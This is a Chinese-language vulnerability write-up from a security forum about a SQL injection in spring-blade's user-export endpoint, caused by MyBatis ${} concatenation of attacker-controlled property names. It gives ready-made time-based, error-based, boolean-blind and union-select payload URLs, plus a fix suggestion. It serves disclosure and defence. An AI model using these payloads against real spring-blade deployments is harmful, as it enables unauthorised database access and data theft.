spring-blade SQL注入漏洞

0收藏

0点赞

浏览量:379

2022-05-26

举报

0x01 漏洞描述

在mybatis中,可能造成SQL注入的写法为${,原因如下:

所以,在mapper.xml中搜索${开头的内容。

其中,
${ew.customSqlSegment}
表示自定义SQL语句,我们往上跟,看这个SQL语句怎么来的。

ew参数是一个User类型的Wrapper,看下这个函数在哪里被调用了,于是找到:
src/main/java/org/springblade/system/user/service/impl/UserServiceImpl.java

往上层找到exportUser的调用。
src/main/java/org/springblade/system/user/controller/UserController.java

在UserController中将用户输入的数据转化为UserEntity,然后传入的exportUser函数。
调用链如下:

  1. 用户输入数据,构建成UserEntity。
  2. 将userEntity带入到userService.exportUser中
  3. userService.exportUser函数中,将UserEntity又带入到baseMapper.exportUser当中
  4. baseMapper.exportUser中根据userEntity构建SQL语句(将userEntity的属性转化到where条件中)。

所以用户可控内容到了SQL语句当中,那么,我们应该怎么利用呢,比如我传入account=admin' ,最后构建的SQL语句为:

SELECT id, tenant_id, account, name, real_name, email, phone, birthday, role_id, dept_id, post_id FROM blade_user where account=?

因为:mybits在处理${ew.coustomSqlSegment}的时候,会将value进行预编译,如下:

那么该怎么利用呢? 我们可以观察到account也就是属性名是直接添加到SQL当中的,也是没有被单引号包裹的。所以我们可以传入1-sleep(5)=1,构建出来的userEntity中会有一个1-sleep(1)的属性名,其值为1,然后将userEntity拼接成的SQL语句:

SELECT id, tenant_id, account, name, real_name, email, phone, birthday, role_id, dept_id, post_id FROM blade_user where 1-sleep(5)=?

从而实现注入。我们看效果吧。

延迟18s,主要原因在于SQL语句:

SELECT id, tenant_id, account, name, real_name, email, phone, birthday, role_id, dept_id, post_id FROM blade_user

有6条记录,每条记录都会执行一次sleep(3)

其他利用方式。
盲注确实有点恼火,比较慢,那么能不能转化成其他的利用方式呢?

  • 报错注入:
/api/blade-user/export-user?Blade-Auth=[jwt马赛克]&account=&realName=&1-updatexml(1,concat(0x5c,database(),0x5c),1)=1 

  • 布尔盲注
/api/blade-user/export-user?Blade-Auth=[jwt马赛克] &account=&realName=&1-if(1%3d1,1,0)=1 # false,所以导出的数据为空,excel大小会变小 

/api/blade-user/export-user?Blade-Auth=[jwt马赛克] &account=&realName=&1-if(1%3d2,1,0)=1 # true,所以导出的数据不为空,excel大小会变大 

  • 联合查询
/api/blade-user/export-user?Blade-Auth=[jwt-masaike]&account=&realName=&account+like+?+and+is_deleted%3d?)union+select+1,2,3,user(),5,6,7,8,from_unixtime(1451997924),10,11,12--a=1

Payload解析:

我们输入-=1的时候,会在where条件后,用括号包裹两个条件,然后产生两个预编译位。所以我们既要闭合括号,又要在注视符前埋下两个预编译位。从而产生初步payload:

account+like+?+and+is_deleted+%3d+?)--+a |

然后加入我们的union select

account+like+?+and+is_deleted+%3d+?)union+select+1,2,3,4,5,6,7,8,9,10,11,12--+a 

然后报错:

数据类型不一致,因为9所在位置是时间戳类型的,所以用mysql的时间戳函数填充到这。

account+like+?+and+is_deleted%3d?)union+select+1,2,3,user(),5,6,7,8,from_unixtime(1451997924),10,11,12--a 

导出成功,然后看excel就可以看到user()的执行结果。

0x02 修复建议

在构建entity时候,判断前端传入的map中是否有entity本身不存在的属性,如果有直接忽略掉,不将其拼接到SQL中。




(来源:奇安信攻防社区)

(原文链接:https://forum.butian.net/share/1089

发表评论

点击排行

钓鱼邮件-如何快速成为钓鱼达人

一、前言在大型企业边界安全做的越来越好的情况下,不管是 APT 攻击还是红蓝对抗演练,钓鱼邮件攻击使用的...

【渗透实战系列】| 1 -一次对跨境赌博类APP的渗透实战(getshell并获得全部数据)

本次渗透实战主要知识点:1.app抓包,寻找后台地址2.上传绕过,上传shell3.回shell地址的分析4.中国蚁剑工...

HTTPS - 如何抓包并破解 HTTPS 加密数据?

HTTPS 在握手过程中,密钥规格变更协议发送之后所有的数据都已经加密了,有些细节也就看不到了,如果常规的...

无线电安全攻防之GPS定位劫持

一、需要硬件设备HackRFHackRF 连接数据线外部时钟模块(TCXO 时钟模块)天线(淘宝套餐中的 700MHz-2700MH...

记一次Fastadmin后台getshell的渗透记录

1.信息搜集先来看看目标站点的各种信息后端PHP,前端使用layui,路由URL规则看起来像ThinkPHP,那自然想到...

华为防火墙实战配置教程,太全了

防火墙是位于内部网和外部网之间的屏障,它按照系统管理员预先定义好的规则来控制数据包的进出。防火墙是系...

ADCS系列之ESC1、ESC8复现

对原理感兴趣的可以去https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf看原文,这里只...

【干货分享】利用MSF上线断网主机的思路分享

潇湘信安 Author 3had0w潇湘信安一个不会编程、挖SRC、代码审计的安全爱好者,主要分享一些安全经验、...

扫描二维码下载APP